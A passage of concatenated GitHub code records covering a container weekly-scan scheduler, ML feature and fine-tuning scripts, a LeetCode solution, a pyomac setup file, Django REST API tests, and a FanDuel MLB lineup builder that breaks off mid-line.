self.logger.fatal(\n                \"Failed to create dir in git repo. Aborting weekly scan.\")\n            sys.exit(1)\n\n        for image in images:\n            # create logs dir\n            resultdir = self.new_logs_dir()\n            if not resultdir:\n                # retry once more\n                resultdir = self.new_logs_dir()\n                if not resultdir:\n                    self.logger.warning(\n                        \"Can't create result dir for repo {}.\"\n                        \"Failed to run weekly scan for it.\".format(image[2]))\n                    continue\n\n            # image = [git-url, git-hash, image]\n            self.put_image_for_scanning(\n                image[2], resultdir, image[0], image[1], scan_gitpath)\n            self.logger.info(\"Queued weekly scanning for {}.\".format(image))\n        return \"Queued containers for weekly scan.\"\n\n    def create_weekly_scan_dir_in_git_repo(self):\n        \"\"\"\n        Creates weekly scan dir in configured git repo\n        \"\"\"\n        scan_gitpath = datetime.datetime.now().strftime(\"%Y/%m/%d/\")\n        scan_gitpath = os.path.join(self.gitrepo, scan_gitpath)\n        try:\n            os.makedirs(scan_gitpath)\n        except Exception as e:\n            self.logger.fatal(str(e))\n            return False\n        else:\n            self.logger.info(\"Scan git dir for alerts is created {}\".format(\n                scan_gitpath))\n            return scan_gitpath\n\n    def put_image_for_scanning(self, image, logs_dir,\n                               giturl, gitsha, scan_gitpath):\n        \"\"\"\n        Put the image for scanning on beanstalkd tube\n        \"\"\"\n        job = {\n            \"action\": \"start_scan\",\n            \"weekly\": True,\n            \"image_under_test\": image,\n            \"analytics_server\": settings.ANALYTICS_SERVER,\n            \"logs_dir\": logs_dir,\n            \"git-url\": giturl,\n            \"git-sha\": gitsha,\n            \"scan_gitpath\": scan_gitpath,\n        }\n        self.logger.info(\"Putting {} for scan..\".format(image))\n        # now put image for scan\n        self.queue.put(json.dumps(job), \"master_tube\")\n\n\nif __name__ == \"__main__\":\n    load_logger()\n    ws = WeeklyScan(sub=\"master_tube\", pub=\"master_tube\")\n    print(ws.run())\n","repo_name":"navidshaikh/scanning","sub_path":"scripts/weeklyscan.py","file_name":"weeklyscan.py","file_ext":"py","file_size_in_byte":6248,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"71200502822","text":"import multiprocessing\nimport os\nimport warnings\n\nimport hydra\nimport pandas as pd\nimport tsfresh\nfrom base import BaseG2NetFeatureEngineeringDataset, G2NetFeatureEngineering\nfrom omegaconf import DictConfig\n\n\nclass TsFreshFeatures(BaseG2NetFeatureEngineeringDataset):\n    def _engineer_features(self, signals):\n        df = pd.DataFrame(\n            signals.T, columns=[\"channel_0\", \"channel_1\", \"channel_2\"]\n        )\n        df[\"id\"] = 0\n        extracted_features = tsfresh.extract_features(\n            df, column_id=\"id\", n_jobs=0, disable_progressbar=True\n        )\n        features = {}\n        for k, v in extracted_features.items():\n            features[k] = v.values[0]\n\n        return features\n\n\n@hydra.main(config_path=\"../../../config\", config_name=\"default\")\ndef main(config: DictConfig) -> None:\n    filename = __file__.split(\"/\")[-1][:-3]\n    input_dir = config.input_dir\n    features_dir = config.features_dir\n    os.makedirs(features_dir, exist_ok=True)\n\n    train = pd.read_csv(config.competition.train_path)\n    test = pd.read_csv(config.competition.test_path)\n\n    train[\"path\"] = train[\"id\"].apply(\n        lambda x: f\"{input_dir}/train/{x[0]}/{x[1]}/{x[2]}/{x}.npy\"\n    )\n    test[\"path\"] = test[\"id\"].apply(\n        lambda x: f\"{input_dir}/test/{x[0]}/{x[1]}/{x[2]}/{x}.npy\"\n    )\n\n    num_workers = multiprocessing.cpu_count()\n    transformer = G2NetFeatureEngineering(\n        TsFreshFeatures, batch_size=num_workers, num_workers=num_workers\n    )\n\n    X_train = transformer.fit_transform(train[\"path\"])\n    X_test = transformer.transform(test[\"path\"])\n\n    print(X_train.info())\n\n    X_train.to_pickle(os.path.join(features_dir, f\"{filename}_train.pkl\"))\n    X_test.to_pickle(os.path.join(features_dir, f\"{filename}_test.pkl\"))\n\n\nif __name__ == \"__main__\":\n    warnings.filterwarnings(\"ignore\")\n    main()\n","repo_name":"Ynakatsuka/g2net-gravitational-wave-detection","sub_path":"src/misc/features/create_tsfresh.py","file_name":"create_tsfresh.py","file_ext":"py","file_size_in_byte":1834,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"25164894189","text":"from datasets import load_from_disk\nfrom transformers import AutoTokenizer\nfrom transformers import AutoModelForSequenceClassification\nfrom transformers import TrainingArguments, Trainer, EarlyStoppingCallback, IntervalStrategy\nimport numpy as np\nfrom sklearn.metrics import accuracy_score, recall_score, precision_score, f1_score\nimport torch\n\ndef fine_tune(train_filename, test_filename, model_name=\"dmis-lab/biobert-base-cased-v1.2\"):\n    print(\"Load train dataset from disk: \", train_filename)\n    train_dataset = load_from_disk(train_filename)\n    print(\"Load test dataset from disk: \", test_filename)\n    test_dataset = load_from_disk(test_filename)\n    print(\"Load tokenizer from model: \", model_name)\n    # tokenizer = AutoTokenizer.from_pretrained(model_name, model_max_length=512)\n    tokenizer = AutoTokenizer.from_pretrained(model_name)\n\n    if tokenizer.model_max_length > 4096:\n        print(\"- Tokenizer Model Max Length not found, setting to 512...\")\n        tokenizer.model_max_length = 512\n    else:\n        print(\"- Tokenizer Model Max was found: \", tokenizer.model_max_length)\n\n    # tokenizer.pad_token = tokenizer.eos_token\n    if tokenizer.pad_token is None:\n        if tokenizer.eos_token is None:\n            print(\"- Tokenizer Padding not found, setting to [PAD]...\")\n            tokenizer.add_special_tokens({'pad_token': '[PAD]'})\n        else:\n            print(\"- Tokenizer Padding not found, setting to eos_token: \", tokenizer.eos_token)\n            tokenizer.pad_token = tokenizer.eos_token\n    else:\n        print(\"- Tokenizer Padding was found: \", tokenizer.pad_token)\n\n    print(\"Tokenize training dataset...\")\n    train_dataset = train_dataset.map(lambda examples: tokenizer(examples[\"text\"], truncation=True, padding='max_length'), batched=True)\n    print(\"Tokenize test dataset...\")\n    test_dataset = test_dataset.map(lambda examples: tokenizer(examples[\"text\"], truncation=True, padding='max_length'), batched=True)\n\n    print(\"Load model: \", model_name)\n    model = AutoModelForSequenceClassification.from_pretrained(model_name, num_labels=2)\n\n    # if model.model_max_length is None:\n    #     print(\"- Tokenizer Model Max Length not found, setting to 512...\")\n    #     tokenizer.model_max_length = 512\n    # else:\n    #     print(\"- Tokenizer Model Max was found: \", tokenizer.model_max_length)\n    #\n    # # tokenizer.pad_token = tokenizer.eos_token\n    # if tokenizer.pad_token is None:\n    #     if tokenizer.eos_token is None:\n    #         print(\"- Tokenizer Padding not found, setting to [PAD]...\")\n    #         tokenizer.add_special_tokens({'pad_token': '[PAD]'})\n    #     else:\n    #         print(\"- Tokenizer Padding not found, setting to eos_token: \", tokenizer.eos_token)\n    #         tokenizer.pad_token = tokenizer.eos_token\n    # else:\n    #     print(\"- Tokenizer Padding was found: \", tokenizer.pad_token)\n    #\n    # model.config.pad_token_id = model.config.eos_token_id\n\n    def compute_metrics(p):\n        pred, labels = p\n        pred = np.argmax(pred, axis=1)\n        accuracy = accuracy_score(y_true=labels, y_pred=pred)\n        recall = recall_score(y_true=labels, y_pred=pred)\n        precision = precision_score(y_true=labels, y_pred=pred)\n        f1 = f1_score(y_true=labels, y_pred=pred)\n        return {\"accuracy\": accuracy, \"precision\": precision, \"recall\": recall, \"f1\": f1}\n\n    training_args = TrainingArguments(\n        f\"training_with_callbacks\",\n        evaluation_strategy=IntervalStrategy.EPOCH,  # \"steps\"\n        save_strategy=IntervalStrategy.EPOCH,\n        logging_steps=5,\n        # eval_steps = 10, # Evaluation and Save happens every 50 steps\n        save_total_limit=3,  # Only last 5 models are saved. Older ones are deleted.\n        # learning_rate=2e-5,\n        per_device_train_batch_size=1,\n        per_device_eval_batch_size=1,\n        num_train_epochs=10,\n        # weight_decay=0.01,\n        push_to_hub=False,\n        metric_for_best_model='f1'\n        , load_best_model_at_end=True\n        #     ,gradient_accumulation_steps=2\n        #     ,gradient_checkpointing=True\n        #     ,fp16=True\n        , optim=\"adafactor\")\n\n    if torch.cuda.is_available():\n        training_args.tf32 = True\n        print('CUDA Available: ' + str(torch.cuda.is_available()))\n        print('CUDA device_count: ' + str(torch.cuda.device_count()))\n        print('CUDA current_device: ' + str(torch.cuda.current_device()))\n        print('CUDA get_device_name[0]: ' + str(torch.cuda.get_device_name(0)))\n    elif torch.backends.mps.is_available():\n        training_args.use_mps_device=True\n        print(\"Using MPS\")\n\n    trainer = Trainer(\n        model=model,\n        args=training_args,\n        train_dataset=train_dataset,\n        eval_dataset=test_dataset,\n        compute_metrics=compute_metrics)\n\n    print(\"Train...\")\n\n    trainer.train()","repo_name":"isaackcr/CS685FinalProject","sub_path":"training.py","file_name":"training.py","file_ext":"py","file_size_in_byte":4829,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"16532186664","text":"# -*- coding: utf-8 -*-\n\"\"\"\n11. 盛最多水的容器\n\n给定 n 个非负整数 a1，a2，...，an，每个数代表坐标中的一个点 (i, ai) 。\n在坐标内画 n 条垂直线，垂直线 i 的两个端点分别为 (i, ai) 和 (i, 0)。找出其中的两条线，使得它们与 x 轴共同构成的容器可以容纳最多的水。\n\n说明：你不能倾斜容器，且 n 的值至少为 2。\n\n\n\n图中垂直线代表输入数组 [1,8,6,2,5,4,8,3,7]。在此情况下，容器能够容纳水（表示为蓝色部分）的最大值为 49。\n\n\n解题思路：\n\n这个就是木桶原理的题目，装水的容量取决于最短那个板，而我们要做的是找到一个板使得容纳水最多，\n可以通过左板(left)、右板(right)的移动来判断容水量，如果左板短，计算当前左右板之间的容水量，与最大容水量(result)\n比较，大的话就更新最大容水量，并更新左板+1(换个左板看看能不能更大容水），反之也是这样, 但要保证一个前提，\n左板的移动不能超过右板的位置(left < right)\n\"\"\"\nclass Solution:\n    def maxArea(self, height):\n        \"\"\"\n        :type height: List[int]\n        :rtype: int\n        \"\"\"\n        length = len(height)\n        # 一个以下的板直接返回0\n        if length < 1:\n            return 0\n\n        # 左右板的下标\n        left = 0\n        right = length - 1\n\n        # 最大容水量\n        result = 0\n\n        # 保证左板不超过右板\n        while left < right:\n            if height[left] < height[right]:\n                area = height[left] * (right - left) # 计算两板之间容量，高度取最短板\n                result = max(area, result)   # 更新最大容量值\n                left += 1 # 换下一个左板\n            else:\n                area = height[right] * (right - left)\n                result = max(area, result)\n                right -= 1 # 换下一个右板\n        return result\n\n    def max_area_2(self, height):\n        length = len(height)\n        if length < 1:\n            return 0\n\n        result = 0\n        left = 0\n        right = length - 1\n\n        while left < right:\n            h = min(height[left], height[right])\n            area = h * (right - left)\n            if result < area:\n                result = area\n            while (height[left] <= h and left < right):\n                left += 1\n            while (height[right] <= h and left < right):\n                right -= 1\n        return result\n\n\nif __name__ == '__main__':\n    solution = Solution()\n    height = [1,8,6,2,5,4,8,3,7]\n    print(solution.maxArea(height))\n    print(solution.max_area_2(height))\n\n","repo_name":"guoweikuang/leetcode-py","sub_path":"python/011_Container_With_Most_Water.py","file_name":"011_Container_With_Most_Water.py","file_ext":"py","file_size_in_byte":2650,"program_lang":"python","lang":"zh","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"3431249099","text":"def count(a,n):\r\n    odd=0\r\n    even=0\r\n    for i in range(n):\r\n        if (a[i]%2==0):\r\n            even=even+1\r\n        else:\r\n            odd=odd+1\r\n    print(\"total even=\",even,\"total odd=\",odd)\r\nn=int(input(\"Enter size of list\"))\r\na=[]\r\nfor i in range(n):\r\n    val=int(input(\"enter number\"))\r\n    a.append(val)\r\ncount(a,n)\r\n","repo_name":"amarrr11/py1","sub_path":"program to count total odd or even in a list using function.py","file_name":"program to count total odd or even in a list using function.py","file_ext":"py","file_size_in_byte":329,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"16341156188","text":"from distutils.core import setup\nfrom os import path\nfrom io import open\n\nfrom setuptools import find_packages\n\nthis_directory = path.abspath(path.dirname(__file__))\n\nwith open(path.join(this_directory, 'README.md'), 'r', encoding='utf-8') as f:\n    long_description = f.read()\n\nsetup(name='pyomac',\n      packages=find_packages(exclude=['tests']),\n      include_package_data=True,\n      version='0.1.4',\n      license='MIT',\n      author='Andreas Jansen, Patrick Simon',\n      author_email='andreas.jansen@tu-berlin.de',\n      description='Tools for Operational Modal Analysis (OMA)',\n      long_description=long_description,\n      long_description_content_type=\"text/markdown\",\n      url='https://github.com/ajansen-tub/pyomac',\n      download_url='https://github.com/ajansen-tub/pyomac/v_01.tar.gz',\n      keywords=['Operational Modal Analysis', 'Structural Dynamics', 'Frequency Domain Decomposition',\n                'Stochastic Subspace Identification'],\n      install_requires=[\n          'numpy',\n          'scipy',\n          'PeakUtils',\n          'matplotlib',\n          'scikit-learn'\n      ],\n      classifiers=[\n          'Development Status :: 3 - Alpha',\n          'Intended Audience :: Science/Research',\n          'Topic :: Scientific/Engineering',\n          'License :: OSI Approved :: MIT License',\n          'Programming Language :: Python :: 3.6',\n          'Programming Language :: Python :: 3.7',\n          'Programming Language :: Python :: 3.8',\n          'Programming Language :: Python :: 3.9'\n      ],\n      )\n","repo_name":"ajansen-tub/pyomac","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1538,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"35"}
{"seq_id":"72286902502","text":"import pytest\n\nfrom django.contrib.auth.models import User\nfrom django.urls import reverse\nfrom rest_framework import status\nfrom rest_framework.test import APITestCase, APIClient\n\nfrom languages.models import Paradigm\nfrom languages.serializers import ParadigmSerializer\n\n\npytestmark = pytest.mark.django_db\n\n\nclass GetAllParadigmsTest(APITestCase):\n    \"\"\"\n    Test module for getting all paradigms.\n    \"\"\"\n    def setUp(self):\n        user = User.objects.create(username='test_user',\n                                   password='password')\n        self.client = APIClient()\n        self.client.force_authenticate(user=user)\n\n        Paradigm.objects.create(name='procedure')\n        Paradigm.objects.create(name='functional')\n        Paradigm.objects.create(name='object_oriented')\n\n    def test_get_all_paradigms(self):\n        \"\"\"\n        Test case for getting list of existing paradigms.\n        \"\"\"\n        response = self.client.get(reverse('paradigm-list'))\n        paradigms = Paradigm.objects.all()\n        serializer = ParadigmSerializer(paradigms, many=True)\n\n        self.assertEqual(response.status_code, status.HTTP_200_OK)\n        self.assertEqual(response.data, serializer.data)\n\n\nclass GetSingleParadigmTest(APITestCase):\n    \"\"\"\n    Test module for getting the single paradigm.\n    \"\"\"\n    def setUp(self):\n        user = User.objects.create(username='test_user',\n                                   password='password')\n        self.client = APIClient()\n        self.client.force_authenticate(user=user)\n\n        self.test_paradigm = Paradigm.objects.create(name='test_paradigm')\n        self.valid_detail_url = reverse('paradigm-detail',\n                                        kwargs={'pk': self.test_paradigm.pk})\n        self.invalid_detail_url = reverse('paradigm-detail',\n                                          kwargs={'pk': 2000})\n\n    def test_get_valid_single_paradigm(self):\n        \"\"\"\n        Test case for getting the existing paradigm.\n        \"\"\"\n        response = self.client.get(self.valid_detail_url)\n        test_paradigm = Paradigm.objects.get(pk=response.data['id'])\n        serializer = ParadigmSerializer(test_paradigm)\n\n        self.assertEqual(response.status_code, status.HTTP_200_OK)\n        self.assertEqual(response.data, serializer.data)\n\n    def test_get_invalid_single_language(self):\n        \"\"\"\n        Test case for getting the nonexistent paradigm.\n        \"\"\"\n        response = self.client.get(self.invalid_detail_url)\n\n        self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND)\n\n\nclass CreateSingleParadigmTest(APITestCase):\n    \"\"\"\n    Test module for creating the single paradigm.\n    \"\"\"\n    def setUp(self):\n        user = User.objects.create(username='test_user',\n                                   password='password')\n        self.client = APIClient()\n        self.client.force_authenticate(user=user)\n\n        self.valid_payload = {'name': 'functional', }\n        self.invalid_payload = {'name': '', }\n\n    def test_create_valid_single_paradigm(self):\n        \"\"\"\n        Test case for creating the valid paradigm.\n        \"\"\"\n        response = self.client.post(reverse('paradigm-create'),\n                                    data=self.valid_payload)\n\n        self.assertEqual(response.status_code, status.HTTP_201_CREATED)\n\n    def test_create_invalid_single_paradigm(self):\n        \"\"\"\n        Test case for creating the invalid paradigm.\n        \"\"\"\n        response = self.client.post(reverse('paradigm-create'),\n                                    data=self.invalid_payload,\n                                    content_type='application/json')\n\n        self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)\n\n\nclass UpdateSingleParadigmTest(APITestCase):\n    \"\"\"\n    Test module for updating the single paradigm.\n    \"\"\"\n    def setUp(self):\n        user = User.objects.create(username='test_user',\n                                   password='password')\n        self.client = APIClient()\n        self.client.force_authenticate(user=user)\n\n        self.test_paradigm = Paradigm.objects.create(name='test_paradigm')\n\n        self.valid_payload = {'name': 'updated_paradigm', }\n        self.invalid_payload = {'name': '', }\n\n        self.valid_update_url = reverse('paradigm-update',\n                                        kwargs={'pk': self.test_paradigm.pk})\n        self.invalid_update_url = reverse('paradigm-update',\n                                          kwargs={'pk': 2000})\n        self.content_type = 'application/json'\n\n    def test_update_valid_single_paradigm_valid_payload(self):\n        \"\"\"\n        Test case for a valid updating paradigm.\n        \"\"\"\n        response = self.client.put(self.valid_update_url,\n                                   data=self.valid_payload)\n        test_paradigm = Paradigm.objects.get(pk=response.data['id'])\n        serializer = ParadigmSerializer(test_paradigm)\n\n        self.assertEqual(response.status_code, status.HTTP_200_OK)\n        self.assertEqual(response.data, serializer.data)\n\n    def test_update_invalid_single_paradigm_valid_payload(self):\n        \"\"\"\n        Test case for an invalid updating paradigm.\n        \"\"\"\n        response = self.client.put(self.invalid_update_url,\n                                   data=self.valid_payload,\n                                   content_type=self.content_type)\n        self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND)\n\n    def test_update_valid_single_paradigm_invalid_payload(self):\n        \"\"\"\n        Test case for an invalid updating paradigm.\n        \"\"\"\n        response = self.client.put(self.valid_update_url,\n                                   data=self.invalid_payload,\n                                   content_type=self.content_type)\n\n        self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)\n\n\nclass DeleteSingleParadigmTest(APITestCase):\n    \"\"\"\n    Test module for deleting the single paradigm.\n    \"\"\"\n    def setUp(self):\n        user = User.objects.create(username='test_user',\n                                   password='password')\n        self.client = APIClient()\n        self.client.force_authenticate(user=user)\n\n        self.paradigm = Paradigm.objects.create(name='metaprogramming')\n\n    def test_delete_valid_single_paradigm(self):\n        \"\"\"\n        Test case for deleting the single paradigm.\n        \"\"\"\n        response = self.client.delete(reverse('paradigm-delete',\n                                              kwargs={'pk': self.paradigm.pk}))\n\n        self.assertEqual(response.status_code, status.HTTP_204_NO_CONTENT)\n\n    def test_delete_invalid_single_paradigm(self):\n        \"\"\"\n        Test case for deleting the nonexistent paradigm.\n        \"\"\"\n        response = self.client.delete(reverse('paradigm-delete',\n                                              kwargs={'pk': 1000}))\n\n        self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND)\n","repo_name":"ilyaLihota/dj_redis_celery_1","sub_path":"languages/tests/unit/test_views_paradigm.py","file_name":"test_views_paradigm.py","file_ext":"py","file_size_in_byte":6942,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"21101740768","text":"import pickle\nimport pandas as pd\nimport numpy as np\nfrom functools import cached_property\nfrom dfs_tools_mlb import settings\nfrom dfs_tools_mlb import config\nfrom dfs_tools_mlb.utils.storage import pickle_path\nfrom dfs_tools_mlb.utils.time import time_frames as tf\nfrom dfs_tools_mlb.compile import teams\nfrom dfs_tools_mlb.utils.pd import modify_team_name\nfrom dfs_tools_mlb.utils.pd import sm_merge_single\nimport random\n\n\nclass FDSlateSingle:\n    def __init__(\n        self,\n        entries_file=config.get_fd_file(),\n        slate_number=1,\n        lineups=150,\n        stack_points_weight=2,\n        stack_threshold=120,\n        heavy_weight_stack=False,\n        max_batting_order=7,\n        h_fades=[],\n    ):\n\n        self.entry_csv = entries_file\n        if not self.entry_csv:\n            raise TypeError(\n                \"There are no fanduel entries files in specified DL_FOLDER, obtain one at fanduel.com/upcoming\"\n            )\n\n        self.slate_number = slate_number\n        self.lineups = lineups\n\n        self.points_weight = stack_points_weight\n        self.stack_threshold = stack_threshold\n\n        self.heavy_weight_stack = heavy_weight_stack\n\n        self.max_batting_order = max_batting_order\n        self.h_fades = h_fades\n\n    def entries_df(self, reset=False):\n        df_file = pickle_path(\n            name=f\"lineup_entries_{tf.today}_{self.slate_number}\",\n            directory=settings.FD_DIR,\n        )\n        path = settings.FD_DIR.joinpath(df_file)\n        if path.exists() and not reset:\n            df = pd.read_pickle(path)\n        else:\n            cols = [\n                \"entry_id\",\n                \"contest_id\",\n                \"contest_name\",\n                \"MVP - 2X Points\",\n                \"STAR - 1.5X Points\",\n                \"UTIL\",\n                \"UTIL.1\",\n                \"UTIL.2\",\n            ]\n            csv_file = self.entry_csv\n            with open(csv_file, \"r\") as f:\n                df = pd.read_csv(f, usecols=cols)\n            df = df[~df[\"entry_id\"].isna()]\n            df = df.astype({\"entry_id\": np.int64})\n            with open(df_file, \"wb\") as f:\n                pickle.dump(df, f)\n        return df\n\n    @cached_property\n    def player_info_df(self):\n        df_file = pickle_path(\n            name=f\"player_info_{tf.today}_{self.slate_number}\",\n            directory=settings.FD_DIR,\n        )\n        path = settings.FD_DIR.joinpath(df_file)\n        if path.exists():\n            df = pd.read_pickle(path)\n        else:\n            cols = [\n                \"Player ID + Player Name\",\n                \"Id\",\n                \"Position\",\n                \"First Name\",\n                \"Nickname\",\n                \"Last Name\",\n                \"FPPG\",\n                \"Salary\",\n                \"Game\",\n                \"Team\",\n                \"Opponent\",\n                \"Injury Indicator\",\n                \"Injury Details\",\n                \"Roster Position\",\n            ]\n            csv_file = self.entry_csv\n            with open(csv_file, \"r\") as f:\n                df = pd.read_csv(f, skiprows=lambda x: x < 6, usecols=cols)\n            df.rename(\n                columns={\n                    \"Id\": \"fd_id\",\n                    \"Player ID + Player Name\": \"fd_id_name\",\n                    \"Nickname\": \"name\",\n                    \"Position\": \"fd_position\",\n                    \"Roster Position\": \"fd_r_position\",\n                    \"Injury Indicator\": \"fd_injury_i\",\n                    \"Injury Details\": \"fd_injury_d\",\n                    \"Opponent\": \"opp\",\n                    \"First Name\": \"f_name\",\n                    \"Last Name\": \"l_name\",\n                    \"Salary\": \"fd_salary\",\n                },\n                inplace=True,\n            )\n\n            df.columns = df.columns.str.lower()\n            df = modify_team_name(df, columns=[\"team\", \"opp\"])\n\n            with open(df_file, \"wb\") as f:\n                pickle.dump(df, f)\n        return df\n\n    @cached_property\n    def active_teams(self):\n        return self.player_info_df[\"team\"].unique()\n\n    @cached_property\n    def default_stack_dict(self):\n        team_dict = {}\n        for team in self.active_teams:\n            team_dict[team] = 0\n        return team_dict\n\n    def insert_lineup(self, idx, lineup):\n        cols = [\"MVP - 2X Points\", \"STAR - 1.5X Points\", \"UTIL\", \"UTIL.1\", \"UTIL.2\"]\n        df = self.entries_df()\n        df.loc[idx, cols] = lineup\n        file = pickle_path(\n            name=f\"lineup_entries_{tf.today}_{self.slate_number}\",\n            directory=settings.FD_DIR,\n        )\n        with open(file, \"wb\") as f:\n            pickle.dump(df, f)\n        return f\"Inserted {lineup} at index {idx}.\"\n\n    def finalize_entries(self):\n        df = self.entries_df()\n        csv = self.entry_csv\n        df.rename(columns={\"UTIL.1\": \"UTIL\", \"UTIL.2\": \"UTIL\"}, inplace=True)\n        df.to_csv(csv, index=False)\n        return f\"Stored lineups at {csv}\"\n\n    @cached_property\n    def team_instances(self):\n        instances = set()\n        for team in teams.Team:\n            if team.name in self.active_teams:\n                instances.add(team)\n        return instances\n\n    def get_hitters(self):\n        df_file = pickle_path(\n            name=f\"all_h_{tf.today}_{self.slate_number}\", directory=settings.FD_DIR\n        )\n        path = settings.FD_DIR.joinpath(df_file)\n        for team in self.team_instances:\n            hitters = team.lineup_df()\n            merge = self.player_info_df[(self.player_info_df[\"team\"] == team.name)]\n            hitters = sm_merge_single(hitters, merge, ratio=0.75, suffixes=(\"\", \"_fd\"))\n            hitters.drop_duplicates(subset=\"mlb_id\", inplace=True)\n            order_filter = hitters[\"order\"] <= self.max_batting_order\n            hitters_order = hitters[order_filter]\n            team.salary = hitters_order[\"fd_salary\"].sum() / len(hitters_order.index)\n            cols = [\n                \"raw_points\",\n                \"venue_points\",\n                \"temp_points\",\n                \"points\",\n                \"salary\",\n                \"sp_mu\",\n            ]\n            points_file = pickle_path(\n                name=f\"team_points_{tf.today}_{self.slate_number}\",\n                directory=settings.FD_DIR,\n            )\n            points_path = settings.FD_DIR.joinpath(points_file)\n            if points_path.exists():\n                p_df = pd.read_pickle(points_path)\n            else:\n                p_df = pd.DataFrame(columns=cols)\n            p_df.loc[team.name, cols] = [\n                team.raw_points,\n                team.venue_points,\n                team.temp_points,\n                team.points,\n                team.salary,\n                team.sp_mu,\n            ]\n            with open(points_file, \"wb\") as f:\n                pickle.dump(p_df, f)\n            if path.exists():\n                df = pd.read_pickle(path)\n                df.drop(index=df[df[\"team\"] == team.name].index, inplace=True)\n                df = pd.concat([df, hitters], ignore_index=True)\n            else:\n                df = hitters\n            with open(df_file, \"wb\") as f:\n                pickle.dump(df, f)\n\n        return df\n\n    def h_df(self):\n        df_file = pickle_path(\n            name=f\"all_h_{tf.today}_{self.slate_number}\", directory=settings.FD_DIR\n        )\n        path = settings.FD_DIR.joinpath(df_file)\n        if not path.exists():\n            df = self.get_hitters()\n        else:\n            df = pd.read_pickle(path)\n        return df\n\n    def points_df(self):\n        file = pickle_path(\n            name=f\"team_points_{tf.today}_{self.slate_number}\",\n            directory=settings.FD_DIR,\n        )\n        path = settings.FD_DIR.joinpath(file)\n        if not path.exists():\n            self.get_hitters()\n        df = pd.read_pickle(path).apply(pd.to_numeric)\n        return df\n\n    def stacks_df(self):\n        lineups = self.lineups\n        df = self.points_df()\n\n        df[\"p_z\"] = (\n            (df[\"points\"] - df[\"points\"].mean()) / df[\"points\"].std()\n        ) * self.points_weight\n        df[\"s_z\"] = ((df[\"salary\"] - df[\"salary\"].mean()) / df[\"salary\"].std()) * -(\n            2 - self.points_weight\n        )\n        df[\"stacks\"] = 1000\n        increment = 0\n        while df[\"stacks\"].max() > self.stack_threshold:\n            df_c = df.copy()\n            df_c[\"z\"] = ((df_c[\"p_z\"] + df_c[\"s_z\"]) / 2) + increment\n            df_c = df_c[df_c[\"z\"] > 0]\n            lu_base = lineups / len(df_c.index)\n            df_c[\"stacks\"] = lu_base * df_c[\"z\"]\n            if df_c[\"stacks\"].max() > self.stack_threshold:\n                increment += 0.01\n                continue\n            diff = lineups - df_c[\"stacks\"].sum()\n            df_c[\"stacks\"] = round(df_c[\"stacks\"])\n            while df_c[\"stacks\"].sum() < lineups:\n                if self.heavy_weight_stack:\n                    df_c[\"stacks\"] = df_c[\"stacks\"] + np.ceil(\n                        ((diff / len(df.index)) * df_c[\"z\"])\n                    )\n                else:\n                    df_c[\"stacks\"] = df_c[\"stacks\"] + np.ceil((diff / len(df.index)))\n                df_c[\"stacks\"] = round(df_c[\"stacks\"])\n            while df_c[\"stacks\"].sum() > lineups:\n                for idx in df_c.index:\n                    if df_c[\"stacks\"].sum() == lineups:\n                        break\n                    else:\n                        df_c.loc[idx, \"stacks\"] -= 1\n            if df_c[\"stacks\"].max() > self.stack_threshold:\n                increment += 0.01\n                continue\n            df = df_c\n\n        i = df[df[\"stacks\"] == 0].index\n        df.drop(index=i, inplace=True)\n        return df\n\n    def h_counts(self):\n        file = pickle_path(\n            name=f\"h_counts_{tf.today}_{self.slate_number}\", directory=settings.FD_DIR\n        )\n        path = settings.FD_DIR.joinpath(file)\n        if path.exists():\n            df = pd.read_pickle(path)\n            return df\n        else:\n            return \"No lineups stored yet.\"\n\n    def build_lineups(\n        self,\n        lus=150,\n        index_track=0,\n        max_lu_total=90,\n        max_sal=35000,\n        stack_sample=4,\n        util_replace_filt=1000,\n        variance=0,\n        non_stack_max_order=5,\n        custom_counts={},\n        custom_stacks=None,\n        below_avg_count=30,\n        stack_expand_limit=30,\n        exempt=[],\n        full_stack_cutoff=50,\n    ):\n        max_order = self.max_batting_order\n        # all hitters in slate\n        h = self.h_df()\n        # dropping faded, platoon, and low order (max_order) players.\n        h_fade_filt = h[\"fd_id\"].isin(self.h_fades)\n        h_order_filt = h[\"order\"] > max_order\n        h_exempt_filt = ~h[\"fd_id\"].isin(exempt)\n        hfi = h[(h_fade_filt | h_order_filt) & h_exempt_filt].index\n        h.drop(index=hfi, inplace=True)\n        # count each players entries\n        h[\"t_count\"] = 0\n        # count non_stack\n        h[\"ns_count\"] = 0\n        h_count_df = h.copy()\n        # risk_limit should always be >= below_avg_count\n        h.loc[\n            (h[\"exp_ps_sp_pa\"] < h[\"exp_ps_sp_pa\"].median()), \"t_count\"\n        ] = below_avg_count\n        exempt_filt = h[\"fd_id\"].isin(exempt)\n        h.loc[exempt_filt, \"t_count\"] = 0\n        for k, v in custom_counts.items():\n            h.loc[h[\"fd_id\"] == k, \"t_count\"] = v\n        # team: stacks to build\n        if not custom_stacks:\n            s = self.stacks_df()[\"stacks\"].to_dict()\n        else:\n            s = custom_stacks\n        # lineups to build\n        sorted_lus = []\n        while lus > 0:\n            salary = 0\n            # if lineup fails requirements, reset will be set to true.\n            reset = False\n            if lus > full_stack_cutoff:\n                stack_size = 4\n            else:\n                stack_size = 3\n\n            stacks = {k: v for k, v in s.items() if v > 0}\n            stack = random.choice(list(stacks.keys()))\n            remaining_stacks = stacks[stack]\n            # lookup players on the team for the selected stack\n            stack_df = h[h[\"team\"] == stack]\n            # stack_key = 'exp_ps_sp_pa'\n            # non_stack_key = 'exp_ps_sp_pa'\n            if remaining_stacks % 4 == 0:\n                stack_key = \"total_pitches\"\n            elif remaining_stacks % 3 == 0:\n                stack_key = 